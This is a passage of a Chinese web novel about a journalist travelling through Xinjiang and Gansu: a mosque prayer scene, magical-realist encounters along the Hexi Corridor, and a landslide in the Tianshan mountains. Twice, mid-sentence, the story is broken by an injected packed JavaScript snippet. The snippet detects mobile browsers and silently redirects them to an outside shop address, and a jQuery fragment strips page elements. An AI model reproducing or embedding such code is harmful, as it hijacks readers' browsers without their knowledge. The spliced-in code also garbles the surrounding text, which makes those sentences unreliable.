叶葆启和摄影记者轻手轻脚来到大殿门外。张记者端起相机，调整焦距，屏住呼吸。 殿内的景象让叶葆启心头一震。 阳光从高窗斜射进来，在空气中切出明暗交错的光柱。尘埃在光柱中缓缓旋转，像微观的星河。信众们面向麦加方向跪坐整齐，白色的礼拜帽连成一片，如雪后的原野。老阿訇站在最前方，背对众人，面朝壁龛。他的白袍在斜光中几乎透明，边缘泛着淡淡的光晕。 他开始领诵。 声音响起的刹那，叶葆启感到空气在震动。那不是物理意义上的震动，而是一种更微妙、更深层的震颤——仿佛老阿訇的声音拨动了空气中某种看不见的弦。那声音低沉而悠扬，每个音节都饱满圆润，在殿宇的穹顶下回旋、上升。阿拉伯语的韵律如此独特，起伏如波浪，顿挫如山峦。 叶葆启听不懂经文，但能听懂声音里的情感——那里有敬畏，有谦卑，有感恩，有对超越性存在的深切渴慕。他忽然想起小时候在乡下，深夜听见远处寺庙的钟声，那时只觉得神秘，此刻却似乎懂了一点：人类用声音建造桥梁，试图连接此岸与彼岸，连接有限与无限。 摄影记者按下快门。相机发出轻微的咔嗒声，在诵经声中几乎听不见。他拍摄了几张全景——光影中的背影，整齐的队列，庄严的轮廓。又拍摄了老阿訇的侧影：他微仰着头，闭着眼，脸上的皱纹在那一刻似乎舒展开来，呈现出一种孩童般的专注和虔诚。 最让叶葆启触动的是那些信众的脸。在诵经声中，他们的表情在变化——开始的紧张松弛下来，眉间的忧虑渐渐化开，嘴角浮现出难以察觉的平和。一个中年男子在抹眼泪，泪水顺着黝黑的脸颊滑落，滴在地毯上，洇开一小片深色。一个老人颤抖着嘴唇，缺牙的嘴微微张开，仿佛在吞饮声音里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904183|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘露。 叶葆启忽然明白：这不仅是一场仪式，更是一次集体的心灵沐浴。这些来自不同生活境遇的人们，在这一刻卸下重负，在共同的声音中找到短暂的安宁和力量。他想起老阿訇的话：“礼拜是充电。充好了电，才能回到生活里去发光。” 时间在诵经声中变得黏稠、缓慢。阳光在地毯上移动，光斑从西侧渐渐移到东侧。当最后一次叩首完成，老阿訇缓缓转过身来，面向信众。他没有立即说话，而是用目光缓缓扫过每一张脸，那目光温柔如春水，仿佛在给每个人无声的祝福。 人们安静地起身，秩序井然地退出大殿。脚步轻盈，表情宁静。那个抹泪的中年男子在出门时，对叶葆启微微一笑——笑容里有泪痕，却出奇地明亮。 老阿訇最后一个走出来。他看上去有些疲倦，但眼神清明。看见摄影记者，他走过来：“记者同志，你拍的照片，能送我一张吗？我想留个纪念。” 张记者连忙答应：“当然！洗出来一定给您寄来！还会多洗几张，给您寺里也留一份。” 老阿訇笑了。那笑容从嘴角开始，慢慢漾开，最终整张脸都舒展开来，皱纹堆叠如菊花绽放。阳光照在他脸上，每道皱纹里都盛着光。 他忽然转向叶葆启，仔细端详他的脸，看了很久，然后说：“叶记者，我看你是个诚恳的人。我们□□教讲究‘伊玛尼’——信仰。你们记者讲求‘真实’。其实，都是追求内心的安宁与世间的正道。” 停顿一下，他温和地问：“要不要了解一下我们的教义？不一定要皈依，只是了解。” 问题来得突然。叶葆启愣在那里，脑子飞快转动。他想起新闻工作者的职业准则，想起自己是个无神论者，想起这次采访的初衷。几秒钟的沉默像被拉长成几分钟。院里的榆树沙沙作响，许愿布条在风中翻飞。 然后他抬起头，迎上老阿訇清澈的目光，诚恳地回答： “尊敬的阿訇，谢谢您的邀请。我的‘教’是记录真实，我的‘经’是寻求真相。我相信，无论信仰为何，向善、求真、爱人、爱国，都是相通的。就像您墙上的那个洞——也许不同的信仰就像墙的两边，但只要我们愿意开一个小洞，温暖就能流通，理解就能生长。” 他顿了顿，继续说：“我会尊重并努力理解您的信仰，就如同我尊重所有在这片土地上诚实劳动、追求美好生活的人们一样。我的笔会记录您的智慧，我的报道会传递您的声音，也许这就是我这个世俗记者的‘礼拜’。” 老阿訇听着，眼睛越来越亮。等叶葆启说完，他伸出手——那是一只老人手，皮肤薄如蝉翼，青筋如地图上的河流，关节粗大变形。但握起来有力，温暖，干燥。 “说得好，”老阿訇用力握了握叶葆启的手，“记者同志，愿你此行平安。也愿你的笔，永远为真实和善良服务。记住：真实不伤人，善良不软弱。真实的善良最有力量。” 他松开手，从怀里掏出一个小布包，打开，里面是一串枣木念珠。“这个送你，不是要你信教。是纪念。枣木是我们这里的树，耐旱，耐热，在最贫瘠的土地上也能结果实。做记者也当如此。” 叶葆启双手接过。念珠沉甸甸的，每颗珠子都磨得光滑温润，泛着暗红色的光泽，像凝固的夕阳。他郑重地道谢。 离开时已是正午。阳光炽烈如瀑，倾泻在土黄色的巷道上，蒸腾起蒙蒙热浪。但叶葆启心中一片清凉澄明，那清凉来自老阿訇的眼神，来自大殿里的诵经声，来自墙根下那个传递温暖的小洞。 车子缓缓驶出巷子。孩子们又聚拢来，追着车跑了一阵，挥手告别。叶葆启回头，透过扬起的尘土，看见大同心寺的穹顶在烈日下闪光，新月标志像一弯微笑，悬挂在蓝得发白的天空下。 当晚在驻地写稿，叶葆启把空调开到最低，仍觉得心头发热。他铺开稿纸，钢笔在手中握了很久，迟迟没有落笔。脑海里的画面太多，声音太多，感触太多，像一缸浓得化不开的墨。 他开始描述那座土黄色的寺庙，那棵系满许愿布的老榆树，那位八十七岁的老阿訇。他写老阿訇拨动念珠的手指，写他深褐色瞳孔里的金环，写他平实而深刻的话语。他特别详细记录了关于“墙洞”的故事——那不是隐喻，是真实存在于两家庭院之间的、拳头大小的孔洞，穿过了一碗碗饺子、一包包药、几十年的交情。 他写道：“在这个多民族聚居、多文化交融的土地上，真正的团结不是宏大的口号，而是具体而微的实践。是一个墙洞，是一碗共享的馕，是不同语言的家长坐在一起讨论孩子的教育，是节日里自然而然的礼物往来。大同心寺的‘同心’，不是要求所有人思想一致，而是在保持各自特色的同时，找到共同生存、共同发展的最大公约数。” 他继续写：“买买提阿訇的智慧在于，他深知信仰不能脱离生活。饿着肚子的人听不进真理，冻着身子的人感受不到温暖。因此，他把宗教教导与改善民生紧密结合——教孩子们认字算数，帮年轻人找工作，为病人筹钱买药。当信仰成为改善现实生活的力量，而不是逃避现实的借口时，它才能真正扎根人心，抵御各种极端思想的侵蚀。” 写到礼拜的场景时，叶葆启格外谨慎。他避免过分渲染神秘色彩，而是聚焦于那些普通信众的脸——他们的虔诚，他们的平和，他们在仪式中找到的慰藉和力量。他写道：“宗教仪式在这里不仅是信仰表达，也是一种社会整合机制。它让不同阶层、不同境遇的人们在特定时刻平等相处，共享精神资源，然后带着重新充实的内心回到各自的生活中去。” 最后，他记录了与老阿訇的对话，特别是关于“信仰与真实”的探讨。他如实写下了自己的回答：“我的‘教’是记录真实，我的‘经’是寻求真相。”也写下了老阿訇的祝福：“愿你的笔永远为真实和善良服务。” 稿子写完时，已是凌晨三点。叶葆启站起身，颈椎发出咔咔的响声。他走到窗前，推开窗户，清冽的空气涌进来，带着沙土和夜来香的气味。星空低垂，仿佛一顶缀满钻石的穹窿罩在大地上。远处的天山山脉在夜色中显出黑色的剪影，沉默，庄严，如沉睡的巨兽。 他想起老阿訇送的那串枣木念珠，从口袋里掏出来，在手中摩挲。珠子已经染上他的体温，光滑而温润。忽然，他注意到其中一颗珠子上有极细的刻痕，凑到灯下细看，竟是两个微小的阿拉伯文字。他不认识，用手机拍下来，发给赛达尔·库尔班询问。 几分钟后，回复来了：“那两个字是‘理解’。” 叶葆启握着念珠，站在西部深沉的夜色里，感到一种奇异的连接——与那位八十七岁的老阿訇，与这座古老的寺庙，与这片土地上所有努力理解、努力和解的人们。他不再是纯粹的旁观者，在某种程度上，他也成了这宏大叙事中的一个小小音符。 稿子发回编辑部后，反响出乎意料地好。总编亲自打来电话，声音里有难得的激动：“葆启，西部这篇写得好！有温度，有高度！不回避问题，不粉饰太平，但又充满希望和建设性。这才是我们需要的深度报道！” 总编顿了顿，压低声音说：“你知道吗？这篇稿子已经引起上面的注意。有领导批示，要求相关部门研究大同心寺的经验，在合适范围内推广。你的报道，可能会实实在在地推动一些改变。” 挂了电话，叶葆启没有兴奋，反而感到肩上的重量增加了。他走到旅馆简陋的阳台上，点燃一支烟——他很少抽烟，但此刻需要一点刺激来消化这些信息。烟头的红光在黑暗中明灭，像一只沉思的眼睛。 下一站将是南疆。要穿越天山，进入更广阔、更复杂、也更具挑战性的地域。他听说那里有更丰富的故事，更深刻的矛盾，更艰辛的探索。但此刻，站在吐鲁番的夜空下，他感到自己比出发时更充实，也更清醒。 真实不伤人，善良不软弱。真实的善良最有力量。 老阿訇的话在耳边回响。叶葆启掐灭烟头，深深吸了一口清凉的夜空气。远处的琴声还在继续，这次他听出来了，那是一首古老的维吾尔民歌，歌唱着爱情、劳动和对土地的深情。 他回到房间，开始整理行装。相机，笔记本，录音笔，充电器，还有那串枣木念珠——他把它小心地收进行囊的内袋。行李不多，但每样都必要。记者的行装总是轻简的，因为最重的重量在肩上，在心里。 窗外，东方的天际线开始泛白，新的一天正在到来。而在天山的另一侧，南疆的故事正等待被倾听、被记录。叶葆启关上台灯，在渐亮的晨光中闭上眼睛。他知道，睡眠不会太深——那些面孔，那些声音，那些关于理解与和解的微弱而坚韧的努力，已经在他心里扎了根，将伴随着他穿越更漫长的旅程。 在似睡非睡的边界，他仿佛又看见那个墙洞。阳光从洞口穿过，在另一边投下一个明亮的光斑。光斑里，有碗筷的叮当，有孩子的笑声，有跨越几十年、跨越民族与信仰的温暖传递。 那是一个小洞。很小。但足够让光通过，足够让温暖流通，足够让理解在坚硬的现实之墙上，开出第一道裂缝。 32. 第032章 一个人的河西蜃楼 两个多月的西行，叶葆启的采访本已蜷曲如沙漠中的蜥蜴皮，边角被风沙磨出了毛边。当采访组再次踏入甘肃地界时，他莫名觉得，脚下这条被称作“河西走廊”的路，正在呼吸。 敦煌的黄昏来得迟缓，太阳悬在鸣沙山上，像一枚熟透却不肯坠落的杏子。叶葆启避开游客，独自站在莫高窟九层楼前。风穿过檐角铁马，叮当声里，他分明听见了别的声音——是画笔在岩壁上摩擦的沙沙声，是千年以前画匠们压低嗓门的交谈。 “老师，您看这飞天飘带的弧度……” “再柔些，要让人觉着不是画出来的，是她自己正要飞走。” 叶葆启猛地回头。月光下，洞窟前只有他自己的影子被拉得细长。可当他举起相机，取景框里却闪过一抹赭石色的衣角——那颜色，与第257窟《鹿王本生图》里的颜料一模一样。 第二天拜访敦煌研究院，他见到了研究员刘怀远。这个五十多岁的学者手指关节粗大，掌心有长期握笔留下的茧子，可触碰显示器时却轻盈得像抚摸婴儿。 “数字存档不是万能的，”刘怀远说，声音低沉，“它能留下每一道笔触的宽度，甚至颜料剥落的轨迹，但留不住……” “留不住什么？” “留不住画这幅画的人，手腕转动时的呼吸频率。”刘怀远的眼睛在镜片后闪烁，“你看这幅《观无量寿经变》，西方净土世界楼阁重重。可如果你贴近了看——当然，现在不让贴近了——你会看见画匠在画檐角时，手抖了一下。” 刘怀远放大数字图像。果然，一处极细微的毛边。 “那一抖，可能是洞外突然起了风沙，可能是他想起家中生病的孩子，也可能是他画了太久，手腕实在酸了。”刘怀远关掉屏幕，“这些，数据记不下来。” 当晚，叶葆启在宾馆整理笔记时睡着了。梦里，他走进一个未曾开放的洞窟。壁画上的供养人正从墙上走下来，拍拍身上的尘土。一个头戴幞头的唐代商人对他拱手：“记者先生，可否借支笔？我的账本还差几笔没记完。” 叶葆启惊醒，发现手中的钢笔不见了。而在采访本最新一页，多了一行小楷记录的丝绸与香料价格：“上等蜀锦，河西换胡椒三斛；波斯银瓶，值好马一匹。” 嘉峪关的城墙在正午的烈日下蒸腾着，砖缝里渗出盐白的汗渍。叶葆启用手触摸墙砖，感到指尖下传来有节奏的搏动——像是千万颗心脏在石头深处跳动。 关城下，酒泉钢铁厂的烟囱正喷吐着灰白色的云。采访组走进厂区，热浪裹挟着铁锈味扑面而来。在轧钢车间，叶葆启见到了张建设。这个七十八岁的东北老汉，皮肤是长期炙烤后的古铜色，右耳失聪——那是1958年高炉点火时震坏的。 “那时这里什么都没有，”张建设说话时，假牙在嘴里轻轻打颤，“只有戈壁，风像刀子。我们一百多个东北小伙子，下了火车，脚踩在沙子上，软的，像踩在棉花上。” 他领着叶葆启走到一台已退役的初轧机前，机器静静趴着，像一头死去的钢铁巨兽。老人突然俯身，把耳朵贴在冰冷的机架上。 “你听。” 叶葆启学着他的样子俯身。起初只有一片寂静，渐渐地，他听见了——机器的轰鸣早已停止，可金属深处，还回荡着当年操作工人的号子声：“嘿——哟！推——哟！轧——哟！” “每个在这干过活的，都留下了一点魂儿在这里。”张建设直起身，眼睛湿润，“我儿子，我孙子，都在这厂里。去年孙子搞自动化改造，把这老伙计淘汰了。我骂了他三天，可心里明白，时代总要往前走。” 黄昏时分，叶葆启登上嘉峪关城楼。西风烈，旌旗猎猎。他看见张建设独自站在远处的戈壁滩上，面对夕阳，身形佝偻如问号。突然，老人的身影模糊了——不，是真的在模糊，像是融化在暮色里。而在老人站立的地方，叶葆启透过相机长焦镜头，看见了一队虚幻的影子：戴安全帽的、扛测量仪的、推着小车的……一个个半透明的身影，正从戈壁深处走来，走进那已亮起灯火的现代化厂区。 那是六十年来所有建设者的魂灵，夜夜归来，巡视他们用青春浇筑的钢铁之城。 张掖丹霞在雨中呈现出诡异的光泽。雨水顺着彩色山脊流淌，将赭红、鹅黄、黛青晕染开来，整片山峦像一块刚从染缸取出的巨幅绸缎，还在滴滴答答淌着彩色的血。 地质研究员韩旭递给叶葆启一块石头：“看看，像什么？” 那是一块剖面呈螺旋状的石英岩，纹理让人眩晕。“像……时间的漩涡？” “像地球的伤口结了痂，又被撕开。”韩旭的声音很轻，仿佛怕惊扰什么，“这里原本是湖泊，恐龙在这里喝水。后来地壳隆起，湖水干了，沉积物里的铁、锰、各种矿物氧化，才染出这些颜色。” 他们沿着木栈道行走。游客的喧哗被雨声过滤，世界只剩下色彩流动的声音。在一处名为“神龙戏火”的景观前，韩旭突然停步。 “你看那个凹陷。” 叶葆启看去，那是一处碗状的红色岩洼。 “每年七月十五，如果月亮正好在那个位置，”韩旭指着天空，“月光会灌满那个凹陷。当地人说，那时候能听见古湖波浪的声音，还有岸边的兽吼。” “你听到过吗？” 韩旭沉默良久：“听到过一次。不是兽吼，是婴儿的哭声。很轻，但确实有。”他转头看叶葆启，“你知道吗？这片丹霞每年都在‘生长’，风吹雨打，反而让颜色更鲜艳。可人的脚踩上去，一道脚印要四十年才能复原。” 当晚在保护站，叶葆启梦见自己变小了，站在丹霞的山脊上。脚下的岩石不是岩石，是凝固的时间层：最上面是昨天的风沙，往下是去年游客掉落的帽子的纤维，再往下是民国时期牧羊人留下的羊粪化石，再再往下，是侏罗纪某只剑龙踩过的泥泞，它的脚印里有三株蕨类植物的孢子，正准备在下一个雨季萌发。 他醒来，窗外晨曦初露。丹霞在晨光中苏醒了，每一道山褶都在伸展腰肢。远处传来韩旭和护林员的对话： “昨晚北坡有块石头松了。” “得去看看，别伤了‘皮肤的毛细血管’。” 他们不说“岩体”，说“皮肤”；不说“侵蚀”，说“伤口愈合”。叶葆启忽然明白，在这群人眼中，这片土地是活着的、会呼吸的巨人。 武威的枸杞田在八月红得刺眼。一排排植株在烈日下挺立，果实密密麻麻，像无数颗微型心脏悬挂枝头。 种植大户景学峰的手是一本地图——掌纹是干涸的河床，茧子是沙丘的等高线，指甲缝里永远有洗不净的红土。他递给叶葆启一把枸杞：“尝尝，这是沙子变的糖。” 果实入口，先甜后苦，最后是漫长的回甘。 “三十年前，这里，”景学峰用脚画了个圈，“站着能看见地平线，因为什么都没有。风大的时候，沙子像水一样从门槛上漫进来。我婆娘每天早上第一件事，不是做饭，是用铁锨铲门口的沙。” 他领着叶葆启参观滴灌系统。黑色细管如血管网络，深入每株植物的根部。“以前浇地是大水漫灌，一半水蒸发了。现在，”他拧开一个阀门，水珠精准滴落，“每一滴都喝到根上。” 最震撼的是苗圃。成千上万的枸杞幼苗在营养钵中排列整齐，嫩绿的叶子还带着绒毛。景学峰抚摸叶片，动作温柔得像抚摸婴儿的脸颊。 “每株苗，我都给它们起名字。”他指着一排苗，“这排叫‘长征’，因为它们要种到最远的沙丘那边去。那排叫‘红妆’，是女儿负责的，她说枸杞红了像女子点胭脂。” 黄昏，叶葆启跟随景学峰巡视新开垦的沙地。在田埂边，老汉突然蹲下，扒开一层沙土：“你看。” 沙土下，露出半截破碎的陶罐，花纹古朴。 “常挖到这些，”景学峰说，“汉代的陶，唐代的瓷，有时还有铜钱。我收着，等我那在兰州读考古的孙子回来研究。”他望着无边的红色田野，“你说怪不怪？几千年前，这里可能就是农田。后来沙来了，田没了。现在沙退了，田又回来了。地是有记忆的。” 夜幕降临，枸杞田里亮起驱虫的紫色灯光。叶葆启独自在田埂上行走，恍惚间看见每一株枸杞都在发光——不是灯光反射，是果实自身发出温润的红光，像大地上浮起无数盏小灯笼。风过处，枝叶摇曳，那些光点便流动起来，汇成一条发光的河流，向着沙漠深处蜿蜒而去。 那是这片土地失而复得的、绿色的血液。 金昌让叶葆启做了三天怪梦。 第一天，他梦见自己掉进一个巨大的镍矿坑。坑壁不是岩石，是层层叠叠的硬币——开元通宝、光绪元宝、袁大头、人民币硬币……所有含镍的货币都在这里。它们互相摩擦，发出金属的耳鸣。 第二天，他梦见城市地下是空的，无数银白色的树根在黑暗中生长。根须穿透岩层，吸收地心的热度，然后将镍元素输送到地表。工厂的烟囱其实是树干，产品是结出的银色果实。 第三天，他梦见自己在矿山公园遇到一个穿工装的老矿工。老人不说话，只是摊开手掌，掌心里躺着一块未经提炼的镍矿石，在月光下泛着幽蓝的光。 “这颜色，”老人终于开口，“像不像夜空中最暗处的那片蓝？” 现实中的金昌确实在进行一场蜕变。叶葆启参观的尾矿库已改造成人工湿地，芦苇丛中游着野鸭。曾经的排渣场现在是光伏电站，黑色太阳能板像巨大的棋盘，吸收着河西走廊永不枯竭的阳光。 最神奇的是“镍都记忆馆”。那里陈列的不是矿石标本，而是矿工的生活物件：一只饭盒，盒盖上有三十年前妻子绣的鸳鸯；一本工作笔记，记录着每次爆破的当量和效果；一沓家书，开头总是“吾妻见字如面”，结尾总是“矿上一切安好，勿念”。 馆长是个退休工程师，他说：“镍的原子序数是28，原子量58.69。这些数字冷冰冰。可我们要记住的，是二十八岁下井的小伙子，是干了五十八年矿工的老师傅，是六十九岁还在为矿区绿化奔波的老书记。” 叶葆启在报道中写下：“资源会枯竭，但人的故事不会。当最后一个矿井关闭时，这座城市不会死去，因为它的灵魂早已从地下转移到了地上——在每片绿叶里，在每个孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904184|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的笑声里，在图书馆的书页间，在公园长椅上老人晒太阳的皱纹里。” 平凉崆峒山出现在视野中时，叶葆启感到胸口有什么东西松动了。两个多月，两万多公里，他的身体记住了草原的起伏、沙漠的柔软、戈壁的坚硬、雪山的凛冽。而现在，这座道教名山以完全不同的姿态矗立——不是征服性的巍峨，而是邀请性的苍翠。 登山路上，他遇见一个采药的老者。老者背篓里的草药散发着苦香，步伐却比年轻人还稳。 “记者同志，”老者竟认出了他，“你这一路，见了不少吧？” 叶葆启点头。 “见的都是真的，也都是假的。”老者笑，缺了门牙的嘴像个山洞，“莫高窟的画是真的，可画里的世界是假的。钢铁厂的烟是真的，可张建设夜里看见的魂灵是假的。丹霞的颜色是真的，可韩旭听到的婴儿哭声是假的。枸杞的红是真的，可沙漠会发光是假的。镍矿的银蓝是真的，可你做的那些梦是假的。” 叶葆启怔住。 “可假的就不重要吗？”老者弯腰采下一株柴胡，“黄帝当年在此问道于广成子，问的是治国之道，广成子答的是养生之术。一个问大的，一个答小的。你说，哪个是真问题？哪个是真答案？” 不等叶葆启回答，老者已消失在密林中，只余声音回荡：“你写报道时，记得把假的也写进去。有时候，假的比真的更真。” 登上山顶，正是日落时分。残阳如血，染透了西边整片天空。向东望，黄土高原的沟壑如大地衰老的皱纹；向西望，来时路已隐入暮霭。 叶葆启打开采访本，风急切地翻动纸页。那些密密麻麻的字迹活了过来——莫高窟画匠的呼吸频率变成了字符的间距，酒钢的机器轰鸣变成了感叹号的振动，丹霞的地质年表变成了段落的分层，枸杞的甜苦变成了形容词的对比，镍的原子结构变成了句子排列的网格。 他忽然明白了老者的意思。真实是骨骼，想象是血肉。没有骨骼立不住，没有血肉活不成。记者这个职业，就是在骨骼上生长出血肉的人。 相机里的影像也在此时显现出异常：每张照片的背景里，都有一些本不该存在的东西。敦煌照片的角落有唐代商人的影子，嘉峪关的照片里有半透明的建设者，丹霞的照片中岩石纹理隐约组成了古生物的形状，枸杞田的夜景确实有微光，金昌的矿坑真的泛着梦中的幽蓝。 是镜头的问题？是光线的问题？还是这两个多月，他的眼睛学会了看见另一种真实？ 下山时，月光已铺满山道。叶葆启回头再看山顶，见那里隐约有两个人影对坐，一人峨冠博带，一人粗布麻衣。风送来只言片语： “治大国若……” “养生经曰……” 声音散入松涛，再也辨不分明。 回到宾馆，叶葆启开始整理甘肃之行的最终报道。他写刘怀远深夜在洞窟前徘徊，写张建设在退休那天抱着轧钢机哭了半小时，写韩旭在丹霞核心区发现一株从未记载的苔藓时的手舞足蹈，写景学峰第一次种活枸杞那天，用红布条给每株苗系了蝴蝶结，写金昌的老矿工们把最后一批原矿石献给博物馆时，集体唱起了当年的采矿号子。 他也写那些“假的”：莫高窟壁画在雨夜会有湿润的色泽，酒钢的老机器会在无人的凌晨自己启动空转，丹霞在特定角度能看到古代湖面的倒影，枸杞田在农历十五会散发甜香，镍矿石在掌心握久了会有体温。 凌晨三点，他写完最后一个字。推开窗，河西走廊的风涌进来，带着两千年驼铃的余音、商旅的汗味、僧侣的诵经声、戍卒的乡愁、画匠的颜料香、钢铁的灼热、枸杞的甜涩、镍矿的金属气。 总编打来电话：“葆启，报道收到了。有些……特别。读者可能会问，那些超现实的部分是怎么回事？” 叶葆启望着窗外星空：“就说是河西走廊的魔法吧。在这条路上走得久了，现实和幻想的边界就会模糊。” 电话那头沉默片刻，传来笑声：“好一个‘河西走廊的魔法’。发，全文照发。” 挂断电话，叶葆启取出下一段行程的地图。青藏高原在纸上隆起三维的褶皱，青海湖像一只蓝色的眼睛注视着他。 更大的挑战在前方，但他的笔已有了新的重量——不仅是记录事实的重量，还有承载想象的重重。他想起《庄子》里的话：“天地有大美而不言。”记者要做的，或许就是替这不言的天地，说出那些藏在真实褶皱里的、魔幻的真实。 晨光微露时，他伏在桌上睡着了。梦里，他骑着一匹由文字幻化的马，马蹄踏过之处，戈壁长出诗行，沙漠开出比喻，雪山裸露出叙事的岩层。而前方，昆仑山的轮廓已在地平线上显现，那是中华神话的脊梁，等待着一个既相信眼睛、也相信心灵的记录者。 采访本在桌上自动翻页，空白页里，隐约有未来的字迹正在生长——那些他尚未抵达、但终将抵达的地方的故事，已开始孕育自己的形状。 风又起，吹动扉页。那里原本只写着“采访笔记”四字，现在下面多了一行小字，墨迹未干： “真幻河西道，苍茫我的心。” 33. 第033章 未抵达的讯问 越野车驶离兰州时，叶葆启在笔记本上画下第三个歪斜的十字。第一个画于黄河铁桥，第二个在敦煌莫高窟斑驳的壁画前。他迷信这种无意义的仪式，仿佛每一次落笔都是对未知路途的献祭。摄影记者从后视镜里看见他的动作，干裂的嘴唇动了动，终究没说话。只有小刘，这个二十八岁的退伍汽车兵，还在认真检查胎压，他的世界尚由钢铁与螺栓构成，简单得令人羡慕。 天山在他们离开乌鲁木齐的第三个小时显现。不是“出现”，是“显现”——像一头沉睡的巨兽缓慢翻转它银白的脊背。摄影记者突然叫停车，抱着相机跳下去，镜头对准地平线上那道逐渐升起的白色弧线。风灌进他的旧夹克，鼓胀如帆。叶葆启摇下车窗，闻到空气里铁锈与雪混杂的气味。这是天山的气息，他想，是岩石风化千年后吐纳的叹息。 “拍不够啊，老叶。”摄影记者回来时胡茬上结着霜，“你看那山，像不像被剥了皮的巨兽骸骨？” 这个比喻让叶葆启心中一凛。他重新打量远山，果然看出了不同——那连绵的雪线不再是装饰，而是裸露的脊椎；黑色的岩壁是干涸的血肉；山谷的阴影则是骨骼间的空洞。他忽然记起莫言在高密乡描述的那些在月光下复活的亡灵。天山此刻也活了过来，以地质纪年的缓慢节奏呼吸着。 小刘打断了凝视：“叶老师，天气预报说午后有变。” 变。这个字在西部有特殊的重量。它可能意味着一场让道路消失的雪，一次令山体痉挛的雨，或是从戈壁深处窜出的、专咬轮胎的怪风。 翻越胜利达坂时，越野车开始发出不同以往的嘶鸣。不是故障，是海拔拔扯着钢铁与橡胶的筋骨发出的呻吟。四千一百米处，叶葆启感到自己的脑浆变成了半凝固的糨糊，每一次心跳都撞击着太阳穴。他看见摄影记者的脸色由红转紫，却仍固执地将相机抵在车窗上，手指因缺氧而泛白。 “你在拍什么？”叶葆启问，声音像是从很远的地方传来。 “光。”摄影记者喘息着，“山尖上的光在流血。” 叶葆启望向窗外。云层裂开一道缝隙，夕阳如倾倒的熔金灌入雪谷。的确像流血——粘稠的、缓慢的、带着灼伤视网膜的痛感。他忽然理解了摄影记者的痴迷：这老头不是在记录风景，是在搜集光芒的标本，把那些瞬息即逝的死亡与重生封存在胶片里。 路标显示“胜利达坂，4280米”。小刘停下车，不是因为指示，而是前方出现了奇景：一群岩羊站在路边，约莫二三十只，齐刷刷望向车辆。它们瞳仁里映出扭曲的车身，没有畏惧，只有某种古老的审视。领头的老羊犄角盘曲如古文字，它向前两步，鼻翼翕动。 “它在闻我们的来路。”摄影记者轻声说，快门声在稀薄空气中格外清脆。 岩羊群让开道路，仿佛完成某种仪式。车驶过时，叶葆启确信自己听见了那只老羊的叹息——混在风里，像是岩石摩擦的低语。后来他在笔记里写：“山间的生灵是古老的哨兵，它们记得每一辆经过的车，每一个消失的人。” 下坡路比攀升更可怖。刹车片散发出焦糊的甜味，方向盘在小刘手中微微战栗，仿佛随时会挣脱控制，带着他们坠入右侧的深渊。河谷在暮色中变成一条黑色的伤口，深不见底。摄影记者忽然说起他年轻时在藏区的经历：“那次陷在泥石流里，等了三天。饿极了，我就嚼胶片。柯达胶片的醋酸纤维素底基，有一股子酸涩的甜味，像发馊的水果。” “吃出好照片了吗？”小刘试图让语气轻松。 “吃出了一张后来获奖的照片。”摄影记者笑，露出被尼古丁熏黄的牙齿，“梦里拍的。一个藏族老阿妈在洪水中捞起自己的转经筒，水面下全是发光的眼睛。” 这个荒诞的故事却让车厢内的氛围松弛下来。莫言笔下的饥饿总能催生最离奇的想象，叶葆启想。此刻他们的饥饿尚未到来，但恐惧已开始酝酿自己的叙事。 塌方出现在一个没有名字的弯道。彼时铅云已压至山腰，天空低垂如浸水的毡房。先是一阵碎石雨，敲打车顶如同无数手指在叩问。接着更大的轰鸣从山体内部传来——那不是声音，是震动，通过轮胎、座椅、脊椎直抵天灵盖。 堵住的道路前，几个司机像从泥土里长出的蘑菇，佝偻在雨中。那个维吾尔族老汉的脸皱得像胡杨木雕，汉语词语从他口中蹦出时，都带着烤馕般的干硬质感：“过去，快。山在发脾气。” 叶葆启仰头望山。雨水顺着岩壁淌下，形成千万条临时溪流。他恍惚看见岩层在蠕动，像沉睡巨兽的皮肤在抽搐。一块石头松动、滚落，接着是第二块、第三块……这不是塌方，是山的某种消化过程，它在排出多余的骨骼。 “闯！”这个字从叶葆启喉咙里迸出时，带着血丝的味道。 小刘挂上四驱，引擎怒吼。越野车变成一头被迫赴死的兽，冲向那条泥石流还在继续涂抹的通道。摄影记者竟在这时摇下车窗，伸出相机。雨水和泥点瞬间泼洒进来。 “你疯了？！”叶葆启去拉他。 “等等……光！”摄影记者嘶喊，“石头砸地的光！” 那一瞬，时间发生了奇异的粘滞。叶葆启清楚地看见：一块桌面大的岩石脱离山体，在空中翻转，湿润的表面折射出阴云里唯一一缕天光——惨白的、濒死的光。它下落得很慢，慢到可以看清上面苔藓的纹路，慢到像某种庄严的坠落仪式。岩石的影子先一步抵达路面，漆黑如洞。 越野车擦着那个“洞”的边缘冲了过去。后视镜里，巨石砸在原地，溅起的不是泥土，而是一圈苍白的尘环，像大地吐出的叹息。紧接着，更多碎石如瀑布倾泻，彻底封死了来路。 车内一片死寂。只有雨刷器还在机械地摆动，刮开不断流下的泥浆。小刘的双手死死握着方向盘，指节白得透明。摄影记者慢慢收回相机，抱在怀里，像抱着一具尚有体温的尸体。 “拍到了？”叶葆启问。 “拍到了。”摄影记者的声音在发抖，“但可能……可能不是石头。” 